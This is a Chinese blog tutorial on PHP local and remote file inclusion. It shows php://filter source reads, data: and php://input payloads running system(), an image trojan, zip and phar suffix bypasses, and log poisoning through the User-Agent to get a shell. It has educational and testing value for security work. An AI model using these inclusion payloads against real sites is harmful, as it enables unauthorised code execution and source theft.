详解php文件包含原理(读取文件源码、图片马、各种协议、远程getshell等)
作者是namezz
(看完图相当于做了一轮实验系列)
现有文件代码如下
include和include_once、require、require_once用处差不多,故只举include例说明。话不多说,开始正文。(正文太啰嗦了,直接看总结吧)
功能说明
分别包含aaa和zzz,效果如下图所示
读取到zzz文件的内容<?phpecho __FILE__;并解析执行了,而aaa文件识别不为php,故直接输出源码内容。故包含/etc/passwd同理
用readfile读文件如图所示
由于加了图片头header,所以浏览器识别为图片类型。f12或抓包能看到响应包情况,能看到与include等不同的是,readfile是直接读文件内容,而不解析的。file_get_content同理(用法自行百度)。
原理说明:文件包含究竟包含了啥
首先,include函数和readfile函数都是先读取指定的内容(注意,这里是指定的内容而不是文件的内容,后面解释),而include函数会试图解析读取的内容,是否为php代码,如若是则执行,否则直接输出
如图所示,使用file协议、http协议、php协议(官方文档:http://php.net/manual/zh/wrappers.php)效果分别如下
因为默认配置是没开allow_url_include的,所以使用http协议读文件会失败(开了就是远程包含,后面会说)
以上使用file协议和php协议都读到了文件的源码,并执行了
在使用php://filter/read=convert.base64-encode/和php://filter/string.rot13/对读取的内容进行编码看看
这里由于<?php经rot13后转为<?cuc直接输出给浏览器,而浏览器不认识<?cuc标签,所以也没显示出来,但是查看源码也是能看到的
发现,同样是php协议,读取了文件的内容,但是使用了base64或者rot13对内容进行编码,直接输出了,直接读到了zzz的源码,
读其他页面源码也是同理。还有需要一提的是这里不要直接包含i.php,因为用的是include而不是incloude_once,会无限包含调用自身,导致死循环(要理解递归,必先理解递归)。
还是看不懂,不知道包含了啥?
可以理解为包含了一个数据流
如readfile('zzz')或include('zzz')打开一个数据流,内容为zzz文件的内容,而include('php://filter/read=convert.base64-encode/resource=zzz')为打开一个数据流,内容为zzz文件的base64编码内容,所以我这里有一个文件,内容为<?phpphpinfo();的base64编码,
再用php://filter/read=convert.base64-decode/resource=p.php去包含它,可以发现是执行了的
allow_url_fopen和allow_url_include对文件包含的影响
首先,看字面意思,allow_url_fopen是允许来自url的fopen,allow_url_include是允许来自url的include。下面用几个例子来说明一下
r.php?a=http://127.0.0.1/zzz
r.php?a=data:text/plain,qweraaa
r.php?a=data:text/plain;base64,cXdlcmFhYQ==
r.php?a=php://input
接下来把allow_url_fopen关了再试一下
修改php.ini然后重启httpd服务
发现failed了,但是php://input这个是不受allow_url_fopen影响的,关了也能读到post数据。
而allow_url_include,字面意思,控制include类函数能引用的数据流来源,是否允许直接包含来自url获取的数据流,只要开了的话就能直接远程包含getshell,举例说明如下
i.php?a=zzz
i.php?a=file:///var/www/html/zzz
i.php?a=php://filter/read=/resource=zzz
i.php?a=http://127.0.0.1/zzz
i.php?a=php://input
i.php?a=data:text/plain,<?phpsystem('date');?>
i.php?a=data:text/plain;base64,PD9waHAgc3lzdGVtKCdkYXRlJyk7Pz4=
关闭allow_url_include的情况下,除了前三个是本地包含,后面的都走远程包含的全都报错,如图所示
打开allow_url_include后远程包含就行了,至此可以直接包含shell了
图片马以及使用php协议绕过过滤进而getshell1、存在本地文件包含且只允许上传图片文件
这是一个图片
打开后长这样
包含它,是乱码
在理解文件包含原理后,往图片添加php代码
打开图片,还是长这样,没变化
不过源码已经带了php代码
包含图片
php代码已经被执行了。2、存在本地文件包含且只允许上传图片文件且校验包含文件后缀是否为php
代码示例如下:
$f=$_GET[f];
if ( isset( $f )&&strtolower( substr( $f, -4 ) ) == ".php" )
{
require( $f );
}
使用zip或者phar协议
新建shell文件
压缩为zip
重命名为jpg
然后上传
打开当然显示图片损坏
然后使用phar协议或zip协议包含
本地文件包含利用之一:包含日志文件getshell
这是一个空的日志文件
当然是404,但是在日志里面已经记录了这个请求了
不过发现get请求的uri是经过url编码的,这样是不能被识别为php代码解析执行的。我们修改ua为<?phpphpinfo();?>再次访问
好的ua这里日志记录进去了,接下来包含日志就能执行php代码了
注意,这里有的默认配置日志文件夹仅允许root可读写,httpd默认用户apache是没权限的,会报错failed to open stream
ermission denied总结
file_get_content、readfile类函数先读取对象的数据流,从文件或者php协议或者file协议或者http协议等读取数据流,而include、require类函数读取数据流后尝试对其进行解析与执行。故可以对数据流进行编码包含输出,导致读取源码或者任意文件下载,还可以花式编码解码绕过waf。
zzz、php://filter/read=/resource=zzz、http://127.0.0.1/zzz、file:///var/www/html/zzz、phar://s.jpg/s.php、zip://s.jpg%23s.php的数据流内容为对应的php代码,包含以上数据流就相当于包含对应php代码,相应协议的具体用法自行百度。
图片马本质是包含解析执行图片里面的php语句。
包含日志文件getshell原理一样,利用httpd日志记录访问情况,控制其中ua字段(由于uri字段会被编码,导致不被识别为php代码),再包含日志实际上也是包含对应的php代码。
so文件包含的目的是直接包含精心构造的恶意php代码,进而直接任意命令执行,当然如果能够直接上传.php文件并解析执行那就更好了,不用绕弯子绕文件包含那么麻烦。然而事情总不会是一帆风顺,在无法直接命令执行的时候(例如无法上传文件,不给上传恶意php代码等),就用文件包含去读源码,读配置文件,万一就找到其他地方存在漏洞了。
LFI(本地文件包含)和RFI(远程文件包含)的区别就在于allow_url_include的设置。allow_url_include=1基本就可以为所欲为了。
一些多余的东西
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
<scriptsrc="data:text/javascript,alert('hello')"/>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
扫码投喂作者,打多打少是个缘
<imgsrc="https://img-blog.csdnimg.cn/2022010708584723654.png"height="80" width="80"/>
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据
data:text/html,<html><body><p><b>Hello,world!</b></p></body></html>
-------------------------------------------------------------------------------------------------------
发个小福利
在前30评论中抽一个带入门,传授多年学习(装x)经验,妹子优先,会卖萌会撒娇会嘤嘤嘤者更佳
-------------------------------------------------------------------------------------------------------